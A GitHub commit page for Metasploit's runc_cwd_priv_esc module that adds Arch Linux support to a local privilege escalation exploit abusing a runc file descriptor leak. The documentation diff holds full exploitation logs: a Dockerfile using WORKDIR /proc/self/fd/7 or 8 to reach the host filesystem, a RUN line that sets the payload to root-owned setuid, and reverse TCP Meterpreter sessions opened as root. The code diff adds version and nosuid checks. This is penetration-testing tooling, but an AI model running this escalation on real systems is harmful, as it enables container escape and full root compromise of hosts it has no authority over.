Skip to content

Commit a6ba7bf

Browse files
authored
Merge pull request rapid7#19734 from h00die/runc_arch
arch linux compatibility for runc priv esc
2 parents ed292a9 + 23db148 commit a6ba7bf

File tree

2 files changed

+133
-4
lines changed

2 files changed

+133
-4
lines changed

documentation/modules/exploit/linux/local/runc_cwd_priv_esc.md

Lines changed: 120 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,20 @@ and Kubernetes are vulnerable to an arbitrary file write.
55
Due to a file descriptor leak it is possible to mount the host file system
66
with the permissions of runc (typically root).
77

8-
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.
8+
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
9+
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
10+
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
11+
12+
### Arch Install
13+
14+
```
15+
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/runc-1.1.10-1-x86_64.pkg.tar.zst
16+
pacman -U runc-1.1.10-1-x86_64.pkg.tar.zst
17+
wget https://archive.archlinux.org/repos/2024/01/01/extra/os/x86_64/docker-1%3A24.0.7-1-x86_64.pkg.tar.zst
18+
pacman -U docker-1\:24.0.7-1-x86_64.pkg.tar.zst
19+
systemctl start docker.service && systemctl enable docker.service
20+
usermod -aG docker <user>
21+
```
922

1023
## Verification Steps
1124

@@ -26,7 +39,9 @@ available (`scratch` won't work). Defaults to `alpine:latest`
2639

2740
## FILEDESCRIPTOR
2841

29-
The file descriptor to use, typically `7` or `8`. Defaults to `8`
42+
The file descriptor to use, typically `7` or `8`. Defaults to `7`
43+
44+
## Scenarios
3045

3146
### runc 1.1.7-0ubuntu1~22.04.1 on Ubuntu 22.04
3247

@@ -117,3 +132,106 @@ msf6 exploit(linux/local/runc_cwd_priv_esc) > sessions -i 2
117132
meterpreter > getuid
118133
Server username: root
119134
```
135+
136+
### Debian 12.4
137+
138+
```
139+
msf6 exploit(linux/local/runc_cwd_priv_esc) > run session=1 lhost=192.168.20.24 verbose=true
140+
141+
[*] Started reverse TCP handler on 192.168.20.24:4444
142+
[*] Running automatic check ("set AutoCheck false" to disable)
143+
[+] The target appears to be vulnerable. Vulnerable runc version 1.1.11 detected
144+
[*] Creating directory /tmp/.jwBZNB
145+
[*] /tmp/.jwBZNB created
146+
[*] Uploading Payload to /tmp/.jwBZNB/.cleXu7
147+
[*] Uploading Dockerfile to /tmp/.jwBZNB/Dockerfile
148+
[*] Building from Dockerfile to set our payload permissions
149+
[*] #0 building with "default" instance using docker driver
150+
[*]
151+
[*] #1 [internal] load build definition from Dockerfile
152+
[*] #1 transferring dockerfile: 217B done
153+
[*] #1 DONE 0.0s
154+
[*]
155+
[*] #2 [internal] load metadata for docker.io/library/alpine:latest
156+
[*] #2 DONE 3.5s
157+
[*]
158+
[*] #3 [internal] load .dockerignore
159+
[*] #3 transferring context: 2B done
160+
[*] #3 DONE 0.0s
161+
[*]
162+
[*] #4 [1/3] FROM docker.io/library/alpine:latest@sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b
163+
[*] #4 DONE 0.0s
164+
[*]
165+
[*] #5 [2/3] WORKDIR /proc/self/fd/7
166+
[*] #5 CACHED
167+
[*]
168+
[*] #6 [3/3] RUN cd ../../../../../../../../ && chmod -R 777 tmp/.jwBZNB && chown -R root:root tmp/.jwBZNB && chmod u+s tmp/.jwBZNB/.cleXu7
169+
[*] #6 DONE 0.3s
170+
[*]
171+
[*] #7 exporting to image
172+
[*] #7 exporting layers 0.0s done
173+
[*] #7 writing image sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959 done
174+
[*] #7 DONE 0.1s
175+
[*] Removing created docker image 6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
176+
[*] Deleted: sha256:6681b1ed9c5ae723c2d854c1366aa86837d136030aeea3e63d6255fe8d405959
177+
[*] Payload permissions set, executing payload (/tmp/.jwBZNB/.cleXu7)...
178+
[*] Transmitting intermediate stager...(126 bytes)
179+
[*] Sending stage (3045380 bytes) to 192.168.20.25
180+
[+] Deleted /tmp/.jwBZNB/.cleXu7
181+
[+] Deleted /tmp/.jwBZNB/Dockerfile
182+
[+] Deleted /tmp/.jwBZNB
183+
[*] Meterpreter session 2 opened (192.168.20.24:4444 -> 192.168.20.25:43178) at 2024-02-07 01:00:02 -0500
184+
185+
meterpreter > getuid
186+
Server username: root
187+
meterpreter > sysinfo
188+
Computer : 192.168.20.25
189+
OS : Debian 12.4 (Linux 6.1.0-17-amd64)
190+
Architecture : x64
191+
BuildTuple : x86_64-linux-musl
192+
Meterpreter : x64/linux
193+
```
194+
195+
### Arch
196+
197+
```
198+
[msf](Jobs:2 Agents:1) exploit(linux/local/runc_cwd_priv_esc) > exploit
199+
[*] Started reverse TCP handler on 1.1.1.1:4444
200+
[*] Running automatic check ("set AutoCheck false" to disable)
201+
[!] The target is not exploitable. Check method only available for Debian/Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
202+
[*] Creating directory /home/user/.mpjj2xVK6
203+
[*] /home/user/.mpjj2xVK6 created
204+
[*] Uploading Payload to /home/user/.mpjj2xVK6/.bXnmZ47
205+
[*] Uploading Dockerfile to /home/user/.mpjj2xVK6/Dockerfile
206+
RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
207+
[*] Building from Dockerfile to set our payload permissions
208+
[*] DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
209+
[*] Install the buildx component to build images with BuildKit:
210+
[*] https://docs.docker.com/go/buildx/
211+
[*]
212+
[*] Sending build context to Docker daemon 3.072kB
213+
[*] Step 1/3 : FROM alpine:latest
214+
[*] ---> 4048db5d3672
215+
[*] Step 2/3 : WORKDIR /proc/self/fd/8
216+
[*] ---> Using cache
217+
[*] ---> 6421d9ffc175
218+
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 home/user/.mpjj2xVK6 && chown -R root:root home/user/.mpjj2xVK6 && chmod u+s home/user/.mpjj2xVK6/.bXnmZ47
219+
[*] ---> Running in 09b17fa56c44
220+
[*] Removing intermediate container 09b17fa56c44
221+
[*] ---> 38c39324ec16
222+
[*] Successfully built 38c39324ec16
223+
[*] Removing created docker image 38c39324ec16
224+
[*] Deleted: sha256:38c39324ec1608d06b99c3e17ab5cca6a0bc6bf55a28b71e8622aa97861b4bf6
225+
true
226+
-rwsrwxrwx 1 root root 250 Dec 15 12:23 /home/user/.mpjj2xVK6/.bXnmZ47
227+
[*] Payload permissions set, executing payload (/home/user/.mpjj2xVK6/.bXnmZ47)...
228+
[*] Transmitting intermediate stager...(126 bytes)
229+
[*] Sending stage (3045380 bytes) to 2.2.2.2
230+
[+] Deleted /home/user/.mpjj2xVK6/.bXnmZ47
231+
[+] Deleted /home/user/.mpjj2xVK6/Dockerfile
232+
[+] Deleted /home/user/.mpjj2xVK6
233+
[*] Meterpreter session 11 opened (1.1.1.1:4444 -> 2.2.2.2:57722) at 2024-12-15 07:23:18 -0500
234+
235+
(Meterpreter 11)(/home/user) > getuid
236+
Server username: root
237+
```

modules/exploits/linux/local/runc_cwd_priv_esc.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,8 @@ def initialize(info = {})
2525
with the permissions of runc (typically root).
2626
2727
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build.
28-
Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
28+
Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build.
29+
Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build.
2930
},
3031
'License' => MSF_LICENSE,
3132
'Author' => [
@@ -141,8 +142,13 @@ def check
141142
# Replace any "+deb", "+ds", "~rc", "u" or "-" with a "."
142143
fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
143144
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.')
145+
when 'arch'
146+
version_info =~ /runc\s+version\s+(\d+\S*)/
147+
unfiltered_version = Regexp.last_match(1)
148+
fixed_version = '1.1.12'
149+
runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.')
144150
else
145-
return CheckCode::Safe('Check method only available for Debian/Ubuntu systems')
151+
return CheckCode::Safe('Check method only available for Debian/Ubuntu/Arch systems')
146152
end
147153

148154
if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version)
@@ -163,6 +169,11 @@ def exploit
163169
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
164170
end
165171

172+
# Make sure we can execute our payload as root
173+
if nosuid?(base_dir)
174+
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
175+
end
176+
166177
# create directory to write all our files to
167178
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
168179
mkdir(dir)

0 commit comments

Comments
 (0)